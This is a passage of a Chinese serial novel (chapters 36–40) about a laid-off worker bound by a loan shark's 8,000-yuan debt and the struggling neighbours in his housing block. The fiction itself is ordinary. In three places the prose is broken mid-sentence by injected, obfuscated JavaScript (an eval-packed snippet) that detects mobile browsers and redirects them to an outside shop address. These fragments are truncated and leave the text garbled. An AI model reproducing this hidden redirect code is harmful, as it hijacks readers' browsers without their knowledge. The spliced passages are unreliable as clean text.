“期限呢?”一直沉默的张建设,忽然开口,声音干涩得像砂纸摩擦。他不再看龙哥,目光低垂,盯着自己那双沾满泥灰、已经看不出原本颜色的解放鞋鞋尖。 “半年。”龙哥吐出两个字,干脆利落,像法官落下法槌,“我就给你们半年时间。半年后的今天,下午五点前,我要看到八千块钱,一分不能少,摆在这张桌子上。” 他用手掌重重拍了一下桌面,发出“嘭”的一声闷响。 “半年……八千……”周维民喃喃自语,脸上最后一点血色也褪尽了。这根本是一个不可能完成的任务!他仿佛已经看到了半年后,更加疯狂的催债和更悲惨的结局。 “要是……要是还不上呢?”周维民几乎是绝望地问出了这句话。 龙哥闻言,咧开嘴笑了,露出一口被烟熏黄的牙齿。他没有直接回答,而是慢悠悠地站起身,走到窗边,看着外面那条肮脏、狭窄的背街。他背对着他们,声音飘过来,带着一种事不关己的轻松,却又字字诛心: “还不上?那就不好说了。到时候,可就不是泼油漆、砸东西那么简单了。张兄弟不是要‘一起死’吗?我们这种人,烂命一条,无所谓。就是不知道,他那病得快死的老婆,和他那如花似玉的闺女,经不经得起折腾?” 他转过身,目光像毒针一样刺向张建设剧烈颤抖了一下的背影。 “签了吧。”他走回桌前,把一份早就准备好的、写着新条款的“协议”推到张建设面前,又扔下一支廉价的圆珠笔。“签了,你们就有半年时间。不签……呵呵,那就按原来的规矩办,利息照算,咱们……走着瞧。” 那支圆珠笔,滚落到桌子边缘,停了下来。 张建设僵硬地站在那里,像一尊正在风化的石雕。他能感觉到身后周厂长那沉重而绝望的呼吸,能感觉到龙哥和他手下那冰冷而充满恶意的注视。八千块,半年。这不再是债务,这是一道通往更深渊的缓刑令,是用他最后的威胁换来的、更加沉重的枷锁。 他缓缓地、极其缓慢地伸出手,捡起了那支冰冷的圆珠笔。手指因为用力而泛白。他没有再看那份协议上具体写了什么,那些密密麻麻的小字和冰冷的数字已经毫无意义。 他在乙方签名处,那个熟悉的位置旁边,再次,签下了自己的名字——张建设。 笔尖划过纸张,发出“沙沙”的轻响,这一次,不再是磨刀的仇恨,而是一种认命般的、将所有希望和尊严都抵押出去的麻木。 他把笔放下,没有再看任何人,转身,默默地、一步一步地走出了这间令人作呕的办公室。周维民看着他那仿佛瞬间被抽走了脊梁骨的背影,重重地叹了口气,拿起那份属于自己的副本,也步履蹒跚地跟了出去。 身后,传来龙哥带着笑意的、对皮夹克和寸头的吩咐:“看见没?这就叫,敬酒不吃吃罚酒。早这么痛快,何必呢?” 门在身后关上,隔绝了那令人窒息的空间和话语。外面惨淡的阳光照在张建设脸上,他却感觉不到一丝暖意。那八千块的债务,像一座新的大山,比以前那座更加清晰、更加沉重地,压在了他的肩上,也压在了这个刚刚看到一丝缝隙,却又被彻底封死出路的家庭上空。 张建设不知道自己是怎么跟着周维民走回那条熟悉而又陌生的巷子的。老厂长一路沉默,只是偶尔重重地叹一口气,那叹息声在凌晨清冷的空气里显得格外苍凉。到了筒子楼楼下,周维民停下脚步,用力拍了拍张建设的肩膀,嘴唇翕动了几下,最终却只挤出一句:“建设,……先回去,照顾好桂兰和孩子。天无绝人之路,总……总还有办法想的。” 这话连他自己都说服不了,声音干涩,带着一种无力回天的疲惫。说完,他佝偻着背,转身慢慢消失在灰蒙蒙的晨雾里,像一截即将燃尽的枯木。 张建设独自站在楼下,仰头望着自家那个黑黢黢的窗口。窗户上依旧残留着清洗不掉的油漆污渍,像一块丑陋的补丁。他没有立刻上楼,冰冷的空气吸入肺腑,带着一股铁锈和煤灰的味道,却让他混乱灼热的头脑稍微清醒了一些。那份新的“协议”,像一块烧红的铁,烙在他的意识里,“八千块,半年”,这六个字反复碾压着他仅存的理智。 他一步步挪上楼,楼道里依旧弥漫着隔夜的油烟和霉味。对门的王婶家悄无声息,想来是听到了他们回来的动静,却连开门看一眼的勇气都没有了。他掏出钥匙,插进那扇带着凹痕和污渍的门锁,锁芯转动发出艰涩的“咔哒”声,象是在呻吟。 屋里,依旧是一片死寂的狼藉。里屋传来张小梅不均匀的、带着惊悸的呼吸声,以及李桂兰偶尔在睡梦中发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743071|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、模糊而痛苦的呜咽。他没有开灯,借着从糊窗旧报纸破洞透进来的、微弱的晨曦,走到窗边。 窗外,北春的城市轮廓在黎明前的黑暗中逐渐清晰。远处,那些新建高楼的塔吊像巨人的骨架,沉默地矗立着,与近处这片低矮破败、如同被时代遗忘的工人住宅区形成尖锐的对比。工厂的烟囱不再冒烟,曾经象征生机与希望的轰鸣声,早已被一种死气沉沉的寂静所取代。寒冷的光线一点点漫过肮脏的街道、冻硬的垃圾堆和光秃秃的树枝,世界正在苏醒,却带不来丝毫暖意。 他就这样站着,像一尊冰冷的雕塑,直到第一缕还算明亮的晨光,终于艰难地穿透污浊的玻璃,照亮了屋内飞扬的尘埃,也照亮了他脸上那一夜之间仿佛又深刻了几分的皱纹和眼底那片死寂过后、残余的灰烬。 他缓缓转过身。李桂兰不知何时已经醒了。或许是感觉到了他的存在,她正侧着头,那双空洞、失焦的眼睛,带着一丝茫然和深不见底的恐惧,怔怔地望着他站在窗前的背影。她的脸色在晨光下显得更加惨白,毫无生气,像一张被揉皱后又勉强抚平的旧纸。 张建设走到床边,蹲下身,让自己的视线与她平行。他没有立刻说话,只是伸出手,用指腹极其轻柔地、拂过她眼角那尚未干涸的泪痕,动作小心得仿佛在触碰一件极易碎裂的珍宝。 李桂兰的身体在他触碰的瞬间,本能地瑟缩了一下,眼神里的恐惧更浓了。 张建设看着她这副样子,心脏象是被一只无形的手狠狠攥紧,痛得他几乎无法呼吸。但他没有移开目光,而是深深地、深深地望进她那双失去了所有光彩的眼睛里,仿佛要透过那层恐惧的迷雾,看进她的灵魂深处。 然后,他开口了。声音不高,甚至因为一夜的煎熬和紧绷而显得有些嘶哑,但每一个字,都象是用尽了全身的力气,从胸腔最深处挤压出来,带着一种不容置疑的、近乎固执的坚定: “桂兰,”他叫她的名字,声音很轻,却清晰地传入她似乎能捕捉到一点震动的耳中,“别怕。” 他顿了顿,仿佛在积蓄最后的力量,一字一句,缓慢而沉重地说道: “只要我还有一口气在,这个家,散不了。”这句话,不像誓言,更象是一个男人在废墟之上,用自己残存的生命和尊严,立下的最后一道屏障。 李桂兰浑浊的、被恐惧占据的眼睛,在听到这句话时,极其微弱地、几不可察地闪烁了一下。仿佛黑暗中漂泊的孤舟,终于看到了一丝遥远却坚定的灯塔微光。更多的泪水,无声地、汹涌地从她眼角滑落,但这一次,那泪水里除了痛苦和委屈,似乎真的掺杂进了一丝极其微弱的、名为“依靠”的东西。 张建设伸出手,没有擦拭她的眼泪,而是轻轻握住了她露在被子外面、那只冰凉而枯瘦的手。他的手粗糙、温暖,带着常年劳作的厚茧,却在此刻,传递出一种笨拙却真实的力量。 窗外的天色越来越亮,尽管依旧寒冷,但黎明终究是到来了。这个家,风雨飘摇,千疮百孔,背负着足以压垮骆驼的债务,面临着未知的、更加严峻的挑战。但至少在此刻,在这个清冷的黎明,男人用一句沉甸甸的承诺,暂时驱散了弥漫的绝望,为这个濒临破碎的家,重新注入了一丝微弱却不肯熄灭的生机。 他知道,前方的路依旧漆黑一片,布满荆棘。但为了身后这两个需要他守护的女人,他必须走下去,哪怕爬,也要爬出一条生路来。 37. 周厂长的酒 周维民拖着仿佛灌满了铅的双腿,一步一步挪回自己那间同样位于老旧厂区家属楼、同样透着寒酸气的家。楼道里堆放着邻居舍不得扔的破烂家什,墙皮剥落,露出里面灰暗的砖块。他用有些颤抖的手掏出钥匙,插了好几次才对准锁孔,打开门。 一股独居老人家里特有的、混合着陈旧家具、剩饭菜和淡淡药味的气息扑面而来。屋子里光线昏暗,窗帘半拉着,家具还是七八十年代的样式,漆面斑驳。墙上挂着的几张泛黄的合影——有他与厂领导班子的,更多的是与工人们在车间、在表彰大会上的集体照——记录着曾经的火红年代。最显眼的位置,挂着一个镶在玻璃框里的“北春市第一机械厂优秀企业家”奖状,烫金的大字在昏暗中依旧有些刺眼。 他没有开灯,径直走到靠墙的那个掉漆的五斗柜前,弯腰从最底下抽屉的角落里,摸出一个还剩半瓶的、没有标签的塑料壶。里面是附近小作坊勾兑的散装白酒,烈性、廉价、呛喉,是他如今唯一能负担得起、也唯一能暂时麻痹神经的东西。 他拿着酒壶和一个印着红双喜字的旧搪瓷缸,走到窗边那张吱呀作响的旧藤椅前,重重地坐了下去。藤椅发出一阵痛苦的呻吟。 窗外,是和他家一样破败的筒子楼,以及更远处那片已然沉寂、如同巨大坟场般的厂区。曾经,那里机器轰鸣,灯火通明,上下班时人流如织,充满着希望与力量。而如今,只有几根不再冒烟的烟囱,像巨大的墓碑,矗立在灰蒙蒙的天空下。 他拧开塑料壶,劣质酒精的气味瞬间弥漫开来。他往搪瓷缸里倒了小半缸,那透明的液体在昏暗光线下晃动着。他没有立刻喝,只是怔怔地看着缸子里自己的倒影——一张布满沟壑、写满了疲惫与无奈的老脸。 脑海里,不受控制地翻涌着白天的画面:张建设那双布满血丝、充满绝望与疯狂的眼睛;龙哥那伙人嚣张跋扈、视法律如无物的嘴脸;李桂兰躺在病床上苍白失语、如同破碎玩偶般的身影;还有那份他亲眼看着张建设签下的、如同卖身契般的“新协议”…… “八千块……半年……”他喃喃自语,声音沙哑干涩。这个数字,像一座山,不仅压在张建设身上,也压在他的良心上。 他端起搪瓷缸,猛地灌了一大口。辛辣的液体如同烧红的铁水,从喉咙一路灼烧到胃里,带来一阵剧烈的咳嗽,咳得他老泪纵横。 可他感觉不到暖意,只有彻骨的寒。 是他。当年就是他,这个所谓的“优秀企业家”,坐在宽敞的办公室里,根据上面的指令和冰冷的数字,咬着牙,颤抖着手,最终在那份决定数千人命运的下岗名单上,签下了自己的名字——“周维民”。 他记得那些老工友被通知下岗时的眼神,从错愕、难以置信,到愤怒、哀求,最后变成一片死寂的绝望。有人当场晕倒,有人跪地哭嚎,有人指着他的鼻子骂他是“刽子手”、“资本的走狗”! 他曾试图解释,试图争取,但在时代的洪流面前,他一个小小的厂长,又能改变什么?他保不住厂子,保不住那些轰鸣的机器,更保不住那些依赖工厂生存了一辈子的工人和他们的家庭。 “优秀企业家?”他抬头看着墙上那张奖状,嘴角扯出一丝比哭还难看的、极度苦涩的笑。那奖状此刻像一个巨大的、冰冷的讽刺,钉在他的耻辱柱上。 张建设是他一手从技校招进来的,是他看着成长起来的技术骨干,是当年的劳模!多好的工人啊!踏实、肯干、一门心思扑在技术上。可现在呢?被高利贷逼得差点磨刀杀人,家破人亡,妻离子散! 而他周维民,这个曾经的“伯乐”,这个本该为他们遮风挡雨的“家长”,却只能眼睁睁看着,无能为力。甚至连出面去求情,都要承受对方毫不掩饰的轻蔑和嘲讽。 “呵呵……呵呵呵……”他发出一阵低沉而压抑的苦笑,又仰头灌了一大口酒。酒精烧灼着他的胃,却烧不化他心头的冰霜和巨石般的愧疚。 他觉得,自己才是那个最大的罪人。是他亲手签下了那份名单,打开了潘多拉魔盒,将张建设、李桂兰,以及无数个像他们一样的家庭,推向了如今这无边无际的苦难深渊。 窗外,夜色渐浓,将这片破败的厂区宿舍完全吞噬。屋子里没有开灯,只有窗外远处零星的灯火,透过肮脏的玻璃,在他苍老、佝偻的身影上投下模糊而扭曲的光斑。 他就这样独自一人,坐在冰冷的黑暗里,一口接一口地喝着那呛人的劣酒,试图用这廉价的麻醉,来暂时忘却那啃噬人心的愧疚和眼睁睁看着悲剧发生却无力挽回的、巨大的无力感。那半瓶散装白酒,今晚,注定无法给他带来任何慰藉,只会让他在清醒与麻木的边缘,反复品尝着自己酿下的、时代的苦酒。 张建设家闹出的惊天动地的动静——深夜的砸门声、暖水瓶的爆裂声、女人的哭嚎、男人的怒吼——像投入死水潭的石子,在这片破败的筒子楼里激起了层层涟漪。家家户户的门窗背后,都藏着窥探的眼睛和窃窃私语的嘴。 住在张建设家隔壁单元、位置恰好能斜瞥见张家门口情况的林晓,自然是这出“悲剧”最前排的观众之一。她不像其他邻居那样只敢躲在门后偷听,偶尔,她会抱臂倚在自己家那扇还算完好的窗边,涂着鲜红蔻丹的指尖夹着一支细长的女士香烟,冷眼看着楼下那片混乱。 林晓在这大杂院里,是个极其扎眼又备受非议的存在。她年轻,顶多二十七八岁,容貌姣好,身段窈窕,即使在家里,也常穿着与时下灰蓝黑主流格格不入的、略显紧身的毛衣和呢子裙,勾勒出饱满的曲线。她的头发烫着时髦的大波浪,脸上总是描画着精致的妆容,在这片灰败的背景里,像一株误入废墟的、过于艳丽的花朵,带着一种不合时宜的“资本主义”气息。 她很少与邻居来往,行踪也颇为神秘。有时几天不见人影,有时又会深更半夜被一辆偶尔出现的、在当时看来算得上豪华的桑塔纳轿车送回来。关于她的流言蜚语,早已在街坊间,尤其是那些闲来无事的家庭主妇口中,传得沸沸扬扬。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743072|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “瞧她那骚样儿,指不定是哪个老板包养的‘情妇’!” “听说以前在南方待过,谁知道是做什么营生的?干净不了!” “天天打扮得跟个妖精似的,勾引谁呢?呸!狐狸精!” “看她那眼神,傲得很!瞧不起咱们这穷地方,有本事别住这儿啊!” 这些充满嫉妒、鄙夷和恶意的议论,林晓不是不知道。她偶尔下楼倒垃圾,或者出门买菜,能清晰地感受到身后那些指指点点的目光和瞬间低下去的、却更加刺耳的窃窃私语。她通常只是高昂着头,目不斜视,嘴角挂着一丝若有若无的、混合着轻蔑与自嘲的冷笑,高跟鞋敲击在水泥地上,发出清脆而孤绝的“哒哒”声,仿佛在用自己的方式,对抗着这整个世界的污浊与敌意。 此刻,她看着楼下张建设家的一片狼藉,看着那个叫龙哥的秃头男人带着手下扬长而去,看着随后赶到的周厂长和张建设消失在楼道里,她深吸了一口烟,缓缓吐出灰白色的烟圈。烟雾模糊了她过于精致的五官,也模糊了她眼底一闪而过的、复杂的情绪。 她撇了撇嘴,低声自语,那声音带着一种事不关己的冷漠,却又似乎隐含着一丝不易察觉的、同为沦落人的悲凉: “哼,穷鬼就是穷鬼,连印子钱都敢借,活该被人当猪崽宰。”她象是在评价张家的愚蠢,又象是在嘲讽这个弱肉强食的世道。语气里的尖刻,与她艳丽的外表格格不入。 然而,当她转过身,走回自己那个虽然家具稍显时髦、却同样难掩简陋和临时感的房间时,脸上的冷漠如同潮水般褪去。她走到窗边,望着窗外这片破败、拥挤、看不到希望的工人住宅区,以及更远处那几栋正在拔地而起、象征着新富阶层的高楼轮廓,眼神渐渐变得空洞。 她从梳妆台抽屉里摸出一张边角已经磨损的旧照片。照片上,一个穿着军装的年轻男人笑得阳光灿烂,旁边是依偎着他、同样笑容明媚、眼神清澈的她。那是多少年前的事了?仿佛隔了一个世纪。 她伸出纤细的手指,轻轻抚过照片上那张年轻英俊的脸,指尖微微颤抖。随即,她象是被烫到一般,猛地将照片反扣在桌面上,发出一声轻响。 她重新点起一支烟,走到窗前,背对着房间。月光勾勒出她单薄而倔强的背影。没有人看见,在她转过身去的刹那,那强装的冷漠和尖刻彻底崩塌,大颗大颗的泪珠无声地从她描画精致的眼角滚落,迅速洇湿了她脸上廉价的粉底,留下两道狼狈的痕迹。 她死死咬住自己的下唇,不让自己发出一点声音。那压抑的、无声的哭泣,与隔壁单元张家弥漫的绝望,在这沉沉的夜色里,奇异地交织在一起,共同诉说着这个时代背景下,不同个体、却同样沉重的、无法言说的悲怆与无奈。 狐狸精?情妇?或许吧。但在这层污名化的标签之下,谁又知道,她是否也只是一个被时代的车轮碾过、挣扎着想要活下去,却最终迷失了方向、不得不依靠出卖某些东西来换取喘息之机的,可怜的女人呢? 38. 少年刘栋的迷茫 张家门口的闹剧,对于住在张建设家楼上的少年刘栋而言,不过是这片破败筒子楼里又一幕嘈杂的背景音。他十六岁,像一株在水泥裂缝里肆意疯长、却找不到方向的野草。 刘栋的父母前两年也随着下岗大潮,踏上了南下的火车,把他扔给了年迈多病、耳朵也有些背的奶奶。起初还有书信和零星汇款,后来,音信渐渐稀疏,汇款也时断时续,最终如同断线的风筝,消失在南方那片传说中充满机遇却也吞噬希望的土地上。奶奶整日唉声叹气,念叨着“没良心的”,浑浊的老眼里是对未来更深的忧虑。 家,对于刘栋来说,只是一个需要他每月盯着奶奶从皱巴巴的手帕里数出水电费、需要他扛着煤气罐爬上爬下、充斥着老人病气和唠叨的、冰冷而压抑的空间。他厌恶那里。 他也厌恶学校。教室里,老师照本宣科的讲解在他听来如同催眠曲,黑板上那些复杂的公式和古文,与他眼前这残酷而真实的世界毫无关联。成绩单上的红叉和老师的训斥,只能让他感到更多的烦躁和逆反。同学们要么埋头苦读,憧憬着渺茫的大学梦,要么和他一样,在迷茫中混日子,但至少他们大多有父母在身边,有一种他无法触及的、名为“正常”的生活。 他找不到自己的位置。 于是,街机厅成了他的避风港,街头成了他寻找存在感的战场。他沉迷于那些像素粗糙、充斥着拳脚与枪战的游戏,在虚拟的搏杀和通关的快感中,暂时忘却现实的无力。他留着略显凌长的头发,穿着磨破了边的牛仔裤和仿制的夹克,和几个同样无所事事的半大小子混在一起,在街头巷尾游荡,用故作凶狠的眼神和偶尔爆出的粗口,来伪装自己内心的空洞和自卑。 他用拳头在街头“打”出一点名气,谁多看了他一眼,或者言语间稍有冒犯,都可能引发他激烈的、不成比例的报复。那种拳头砸在□□上的实感,对方畏惧退缩的眼神,能让他短暂地感觉自己是个“人物”,而不是那个被父母遗忘、被学校抛弃、被邻居用“没爹妈管教”的怜悯或鄙夷目光看待的可怜虫。 张家出事那天,他正叼着烟,和两个同伴靠在巷子口的电线杆上,看着龙哥那伙人骂骂咧咧地离开,看着周厂长急匆匆地赶来,看着楼下围观的邻居们脸上那混杂着恐惧和兴奋的神情。 “操,又是放印子钱的,真他妈黑。”一个同伴啐了一口唾沫。 “张建设他家那丫头,长得还挺标致,可惜了……”另一个眼神猥琐地瞥着张家窗户。 刘栋没说话,只是猛吸了一口烟,任由辛辣的烟雾在肺里转了一圈,再缓缓吐出。他脑海里闪过张小梅的样子——那个总是低着头、穿着洗得发白的旧衣服、安静得像只小兔子的女孩。在学校里,他们几乎是两个世界的人,他是不良少年,她是沉默的好学生(至少曾经是)。他偶尔看到她抱着书本匆匆走过的身影,心里会泛起一丝莫名的、连他自己都无法理解的烦躁。 此刻,听到同伴那带着亵渎意味的议论,他没来由地感到一阵恶心和愤怒。但他什么也没说,只是把烟头狠狠摁灭在斑驳的墙壁上,留下一个黑色的灼痕。 几天后,他在放学的路上,亲眼看到了张小梅被龙哥手下那两个混混堵在校门口羞辱的一幕。他看到她那瞬间煞白的小脸,看到她眼眶里强忍着的泪水,看到她在那污言秽语和周围同学异样的目光中,像一只被逼到墙角、无处可逃的幼兽,最终崩溃地狂奔离去。 那一刻,刘栋感觉自己心里某个地方被狠狠刺了一下。一种混杂着愤怒、同情,以及一种强烈的、想要做点什么的冲动,猛地涌了上来。他几乎要冲过去,对着那两个混混挥出拳头。 但他最终没有动。他的脚像被钉在了原地。他想起了龙哥那伙人的凶狠,想起了自己那对远在天边、不知所踪的父母,想起了家里等他回去交电费的奶奶,想起了自己这看似凶狠、实则不堪一击的“街头地位”……一种熟悉的、巨大的无力感,像冰冷的潮水,瞬间淹没了那刚刚燃起的、微弱的英雄主义火苗。 他攥紧了拳头,指甲深深掐进掌心,却感觉不到疼痛。他只能眼睁睁看着张小梅消失在街角,看着那两个混混得意洋洋地离开,看着周围的人群带着各种复杂的表情散去。 他站在原地,夕阳将他孤独的身影拉得很长。他第一次如此清晰地意识到,自己的拳头,在这个冰冷而残酷的现实面前,是多么的苍白和可笑。他连自己都保护不了,又能保护谁呢? 迷茫,像浓雾一样,再次将他紧紧包裹。他不知道自己该去哪里,该做什么。街机厅的喧嚣似乎失去了吸引力,街头斗殴带来的虚妄成就感也显得如此空洞。未来像一条弥漫着大雾、看不到尽头的路,而他,连第一步该迈向何方,都不知道。 大杂院门口那间用自家窗户改建的、只有几平米的小卖部,是这片灰败区域里最鲜活,也最藏不住秘密的地方。店主吴姨,五十多岁,身材微胖,头发烫成方便面似的小卷,永远系着一条沾着油渍的围裙,脸上挂着一种混合着精明、热情与窥私欲的复杂表情。 她这小卖部,卖些烟酒糖果、油盐酱醋、针头线脑,也兼着传电话、收发信件,自然就成了整个筒子楼,乃至附近几条街巷的信息集散中心。谁家夫妻吵架,谁家孩子考学,谁家老人住院,谁家男人在外面有了相好……几乎没有吴姨不知道的,也没有她那张嘴传不出去的。她习惯于在传递这些消息时,加上自己的一番点评和感慨,时而显得古道热肠,时而又透着一股子市侩的刻薄。 张建设家的事,自然是近来小卖部门口最热门的话题。吴姨一边给打酱油的老顾客舀着勺子,一边对着围拢过来的几个闲散妇人和老人,拍着大腿,绘声绘色地描述着那天晚上的“惨状”: “哎哟你们是没看见啊!那门被踹得,砰砰响!我在屋里听着都心慌!后来就听见暖水瓶‘嘭’一声!吓死个人!” “桂兰那哭声,哎呦喂,听着都揪心!好好的一个人,被逼成什么样了!” “要我说啊,桂兰也是真糊涂!再难,那印子钱是能碰的吗?那都是吃人不吐骨头的阎王债!你看看,现在惹火烧身了吧?”她语气里带着一种事后诸葛亮的惋惜,但眼底深处,却 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趁着中午没什么人,她搬了个小板凳坐在柜台后面,从抽屉里拿出一个边缘卷角、封皮油腻的硬壳笔记本和一把掉了漆的木头算盘。笔记本上密密麻麻记着街坊邻里赊欠的账目:张三,酱油一瓶,盐两袋;李四,香烟一包,火柴两盒…… 她的手指,带着一种长期触摸钱币和商品形成的油滑,在算盘珠子上飞快地拨弄着,发出“噼里啪啦”的脆响,在这狭小空间里显得格外清晰。算珠碰撞的声音,象是在为她内心的盘算打着节拍。 她的目光,最终停留在某一页,上面写着:“张建设家,李桂兰,赊:散装白酒半斤,止痛片一包,劣质卫生纸一卷。”后面跟着一个小小的数字,虽然不大,但在吴姨心里,却随着张家出事,变得有些沉甸甸起来。 她停下拨算盘的手,眉头皱了起来,自言自语地嘀咕着,声音不大,却透着精明人的权衡: “唉,桂兰这……眼看是更难了。建设回来,也不知道是个什么光景。”她顿了顿,手指无意识地敲着账本上那个名字,“这钱……虽说不多,可也是钱啊。我这小本生意,也难做……” 她想起张家门口那狰狞的红漆,想起龙哥那伙人的凶悍,心里一阵发怵。这钱,还能要回来吗?要是去要,会不会惹上麻烦?龙哥那些人会不会觉得她是在跟他们抢食? 可不要?难道这钱就打了水漂?她想起李桂兰以前来买东西,虽然穷,但每次赊账都记得清清楚楚,有钱了总会第一时间来还上,是个老实人。可现在……老实人也被逼上绝路了。 “算了算了,”她最终象是下定了决心,合上账本,又象是安慰自己般说道,“再等等看吧,等建设安顿下来再说。现在去要,不是往人家伤口上撒盐吗?我吴桂香也不是那么不近人情的人……” 然而,那本合上的账本,并没有被放回抽屉最深处,而是就放在柜台下面触手可及的地方。她那颗属于小生意人的、时刻计算着得失的心,并没有真正放下。同情的叹息是真的,但拨得噼啪作响的算盘,和那悬而未决、随时可能被再次提起的欠账,才是她面对这个艰难时世最真实的底色。在这生存大于一切的年头,一点微薄的善良,往往也需要在利弊的天平上,反复称量。 39. 大杂院里的众生相 北国的春雨,不像南方那般缠绵,而是带着一股倔强的、不肯罢休的寒意,淅淅沥沥地下了整整一天。到了夜晚,雨势并未减小,反而更加细密冰冷,敲打着筒子楼斑驳的窗棂和瓦片,发出连绵不绝的、令人心烦意乱的沙沙声。雨水顺着墙壁上未干透的红漆污痕蜿蜒流下,象是这栋楼在无声地流血。巷子里早已泥泞不堪,浑浊的积水映照着零星几点昏黄的路灯光,破碎而扭曲。 张建设拖着仿佛不属于自己的身体,深一脚浅一脚地踩在冰冷的泥水里。他刚从外面回来,不是找到了工作,而是又一次徒劳的奔波。他去了更远的劳务市场,甚至低声下气地询问了几个以前看不上的、又脏又累的零工,但要么嫌他年龄大,要么嫌他“晦气”(不知是谁认出了他,将张家借高利贷被打上门的事传了出去),最终一无所获。冰冷的雨水浸透了他单薄的旧外套,顺着脖颈流进脊背,带来一阵阵寒颤。但他感觉不到冷,心里那片被八千块债务和妻子病容冻结的荒原,比这雨水更加刺骨。 他低着头,像一具被抽走了灵魂的躯壳,踉跄着拐进通往自家单元门的、那条堆满杂物的狭窄楼道。楼道里没有灯,黑暗隆咚,只有远处街灯透过雨幕和楼道尽头破窗户渗进来的一点模糊光晕,勉强勾勒出楼梯和杂物的轮廓。空气里弥漫着雨天特有的、潮湿的霉味和垃圾发酵的酸腐气。 就在他走到楼道中段,准备摸索着上楼时,一个身影恰好从楼上下来,险些与他撞个满怀。 两人同时顿住脚步。 借着那点微弱的光,张建设看清了对方——是住在隔壁单元的年轻女人,林晓。 但此刻的林晓,与平日里那个妆容精致、衣着光鲜、眼神带着疏离和一丝傲气的形象判若两人。她显然也是刚从外面回来,而且淋了雨。平日里精心打理的大波浪卷发被雨水彻底打湿,凌乱地贴在苍白的脸颊和脖颈上,像一团纠缠的海草。脸上那层精致的妆容被雨水冲刷得斑驳不堪,眼线和睫毛膏晕染开来,在眼下形成两片狼狈的青黑,嘴唇上鲜艳的口红也褪了色,只留下边缘模糊的暗红。她身上那件看起来价值不菲的米色呢子大衣,此刻湿漉漉地裹在身上,下摆和袖口沾满了泥点,沉重地向下坠着,显得她格外单薄无助。 她手里没有伞,只有一个同样被淋湿的小皮包。她似乎也没料到会在这里撞见人,尤其是张建设。她抬起眼,那双平日里总是带着戒备或嘲讽的杏眼里,此刻只剩下未及掩饰的惊慌、狼狈,以及一种深可见底的疲惫和空洞。 两人在昏暗潮湿的楼道里,相隔不过半米,无声地对视着。 张建设看到了她眼底那片与自己如出一辙的、被生活蹂躏后的残破与不堪。他闻到了她身上传来的、被雨水稀释后却依旧隐约可辨的、属于另一个世界的烟酒气和廉价香水的味道,混合着雨水的腥气。 林晓也看清了张建设此刻的模样——浑身湿透,头发紧贴头皮,脸色灰败,眼神里是浓得化不开的绝望和一种近乎麻木的疲惫。他像个刚从水里捞出来的、失魂落魄的流浪汉。 没有平日里邻居见面时虚伪的寒暄,更没有那些流言蜚语中预设的轻蔑或同情。 在这一刻,所有的标签——“下岗劳模”、“高利贷债户”、“狐狸精”、“情妇”——都被这冰冷的雨水冲刷得一干二净。他们就像两头在雨夜里各自舔舐伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743074|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的困兽,不期而遇,却在对方眼中,清晰地看到了自己此刻的倒影——同样的狼狈,同样的不堪,同样的,被这个时代无情抛掷、在泥泞中挣扎的绝望。 林晓的嘴唇动了动,似乎想习惯性地扯出一丝嘲讽的冷笑,或者说些什么刻薄的话来维护自己那早已千疮百孔的自尊,但最终,她什么声音也没发出。那试图上扬的嘴角,只牵动了一下,便无力地垂落。 她罕见地没有像避开瘟疫一样立刻走开,而是微微侧过身,将自己紧贴着冰冷潮湿的墙壁,给张建设让出了一条狭窄的、勉强可以通过的缝隙。 张建设也没有说话。他默默地、几乎是拖着步子,从她让出的那条缝隙中,低着头,一步一步,沉重地踏上了通往自家那扇破碎房门的楼梯。没有交流,没有眼神的再次触碰。 只有两人身上不断滴落的雨水,在寂静的楼道里,发出几乎同步的、轻微而持续的“滴答”声,象是在为这无声的交集,敲打着冰冷的注脚。 林晓在原地站了几秒,听着身后那沉重而疲惫的脚步声逐渐消失在楼梯拐角。她这才抬起手,用湿透的衣袖,狠狠抹了一把脸上的雨水和……或许还有其他什么东西。然后,她也加快脚步,几乎是逃也似的,冲下了剩下的几级台阶,消失在楼外那片无边无际的、冰冷的雨幕之中。 这个雨夜,两条原本永不相交的平行线,在这破败的楼道里,有了一次短暂而狼狈的交汇。他们看清了彼此身上相似的伤痕,然后,继续沿着各自绝望的轨道,沉默地滑向未知的深渊。那片刻的、卸下所有伪装的对视,像一道苍白的闪电,照亮了彼此命运的荒凉,却无法带来任何温暖与希望。 40. 零工市场 半年的期限,像悬在头顶的铡刀,每一天的流逝都带着清晰的倒数声。张建设不敢有丝毫懈怠,天刚蒙蒙亮,他就裹紧那件抵御不了多少寒意的旧棉袄,揣着半个冰冷的窝窝头,匆匆赶往位于城郊结合部、自发形成的零工市场。 